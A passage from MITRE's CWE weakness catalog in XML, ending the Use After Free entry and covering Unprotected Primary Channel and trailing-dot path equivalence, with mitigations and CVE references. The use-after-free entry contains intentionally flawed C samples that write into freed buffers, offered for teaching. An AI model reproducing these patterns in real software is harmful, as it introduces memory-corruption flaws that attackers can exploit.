					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>399</Relationship_Target_ID>
					          <!--Resource Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>123</Relationship_Target_ID>
					          <!--Write-what-where Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Dangling pointer</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Use-After-Free</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The use of previously freed memory may corrupt valid data, if the
							memory area in question has been allocated and used properly
							elsewhere.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If chunk consolidation occurs after the use of previously freed data,
							the process may crash when invalid data is used as chunk
							information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If malicious data is entered before chunk consolidation can take
							place, it may be possible to take advantage of a write-what-where
							primitive to execute arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Choose a language that provides automatic memory management.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When freeing pointers, be sure to set them to NULL once they are
							freed. However, the utilization of multiple or complex data structures
							may lower the usefulness of this strategy.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;stdio.h&gt;</Code>
							              <Code>#include &lt;unistd.h&gt;</Code>
							              <Code>#define BUFSIZER1 512</Code>
							              <Code>#define BUFSIZER2 ((BUFSIZER1/2) - 8)</Code>
							              <Code>int main(int argc, char **argv) {</Code>
							              <Block>
								                <Code>char *buf1R1;</Code>
								                <Code>char *buf2R1;</Code>
								                <Code>char *buf2R2;</Code>
								                <Code>char *buf3R2;</Code>
								                <Code>buf1R1 = (char *) malloc(BUFSIZER1);</Code>
								                <Code>buf2R1 = (char *) malloc(BUFSIZER1);</Code>
								                <Code>free(buf2R1);</Code>
								                <Code>buf2R2 = (char *) malloc(BUFSIZER2);</Code>
								                <Code>buf3R2 = (char *) malloc(BUFSIZER2);</Code>
								                <Code>strncpy(buf2R1, argv[1], BUFSIZER1-1);</Code>
								                <Code>free(buf1R1);</Code>
								                <Code>free(buf2R2);</Code>
								                <Code>free(buf3R2);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code illustrates a use after free error:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* ptr = (char*)malloc (SIZE);</Code>
							              <Code>if (err) {</Code>
							              <Block>
								                <Code>abrt = 1;</Code>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>if (abrt) {</Code>
							              <Block>
								                <Code>logError("operation aborted before commit", ptr);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>When an error occurs, the pointer is immediately freed. However, this
							pointer is later incorrectly used in the logError function.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-4168</Observed_Example_Reference>
					          <Observed_Example_Description>Use-after-free triggered by closing a connection
						while data is still being transmitted.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2941</Observed_Example_Reference>
					          <Observed_Example_Description>Improper allocation for invalid data leads to
						use-after-free.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2547</Observed_Example_Reference>
					          <Observed_Example_Description>certificate with a large number of Subject
						Alternate Names not properly handled in realloc, leading to
						use-after-free</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1772</Observed_Example_Reference>
					          <Observed_Example_Description>Timers are not disabled when a related object is
						deleted</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1437</Observed_Example_Reference>
					          <Observed_Example_Description>Access to a "dead" object that is being cleaned
						up</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1208</Observed_Example_Reference>
					          <Observed_Example_Description>object is deleted even with a non-zero reference
						count, and later accessed</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0629</Observed_Example_Reference>
					          <Observed_Example_Description>use-after-free involving request containing an
						invalid version number</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0378</Observed_Example_Reference>
					          <Observed_Example_Description>unload of an object that is currently being
						accessed by other functionality</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0302</Observed_Example_Reference>
					          <Observed_Example_Description>incorrectly tracking a reference count leads to
						use-after-free</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0249</Observed_Example_Reference>
					          <Observed_Example_Description>use-after-free related to use of uninitialized
						memory</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0050</Observed_Example_Reference>
					          <Observed_Example_Description>HTML document with incorrectly-nested
						tags</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3658</Observed_Example_Reference>
					          <Observed_Example_Description>Use after free in ActiveX object by providing a
						malformed argument to a method</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3616</Observed_Example_Reference>
					          <Observed_Example_Description>use-after-free by disconnecting during data
						transfer, or a message containing incorrect data
						types</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3553</Observed_Example_Reference>
					          <Observed_Example_Description>disconnect during a large data transfer causes
						incorrect reference count, leading to
						use-after-free</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2416</Observed_Example_Reference>
					          <Observed_Example_Description>use-after-free found by
						fuzzing</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1837</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: race condition (CWE-362) from improper
						handling of a page transition in web client while an applet is loading
						(CWE-368) leads to use after free (CWE-416)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0749</Observed_Example_Reference>
					          <Observed_Example_Description>realloc generates new buffer and pointer, but
						previous pointer is still retained, leading to use after
						free</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3328</Observed_Example_Reference>
					          <Observed_Example_Description>Use-after-free in web browser, probably resultant
						from not initializing memory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5038</Observed_Example_Reference>
					          <Observed_Example_Description>use-after-free when one thread accessed memory
						that was freed by another thread</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0077</Observed_Example_Reference>
					          <Observed_Example_Description>assignment of malformed values to certain
						properties triggers use after free</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4434</Observed_Example_Reference>
					          <Observed_Example_Description>mail server does not properly handle a long
						header.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2753</Observed_Example_Reference>
					          <Observed_Example_Description> chain: integer overflow leads to
						use-after-free</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4997</Observed_Example_Reference>
					          <Observed_Example_Description>freed pointer
						dereference</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 8: C++ Catastrophes." Page 143</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Use After Free</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Using freed memory</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Allocate and free memory in the same module, at the same level
						of abstraction</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Store a new value in pointers immediately after
						free()</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not access freed memory</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM30-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Store a valid value in pointers immediately after
						deallocation</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM01-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not access freed memory</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM30-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where code path has:</Text>
					          <Block>
						            <Text>1. start statement that relinquishes a dynamically allocated memory
							resource</Text>
						            <Text>2. end statement that accesses the dynamically allocated memory
							resource</Text>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Observed_Example, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Common_Consequences, Description,
						Observed_Examples, Other_Notes, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="419" Name="Unprotected Primary Channel" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses a primary channel for administration or
					restricted functionality, but it does not properly protect the
					channel.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>418</Relationship_Target_ID>
					          <!--Channel Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>902</Relationship_Target_ID>
					          <!--SFP Cluster: Channel-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not expose administrative functionnality on the user UI.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Protect the administrative/restricted functionality with a strong
							authentication mechanism.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unprotected Primary Channel</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>383</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="42" Name="Path Equivalence: 'filename.' (Trailing Dot)" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A software system that accepts path input in the form of
					trailing dot ('filedir.') without appropriate validation can lead to ambiguous
					path resolution and allow an attacker to traverse the file system to unintended
					locations or access arbitrary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>162</Relationship_Target_ID>
					          <!--Improper Neutralization of Trailing Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1114</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1986,</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2213</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3293</Observed_Example_Reference>
					          <Observed_Example_Description>Source code disclosure using trailing
						dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0061</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass directory access restrictions using
						trailing dot in URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1133</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass directory access restrictions using
						trailing dot in URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1386</Observed_Example_Reference>
					          <Observed_Example_Description>Bypass check for ".lnk" extension using
						".lnk."</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Trailing Dot - 'filedir.'</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Trailing Dot -
						'filedir.'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="420" Name="Unprotected Alternate Channel" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software protects a primary channel, but it does not use
					the same level of protection for an alternate channel.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
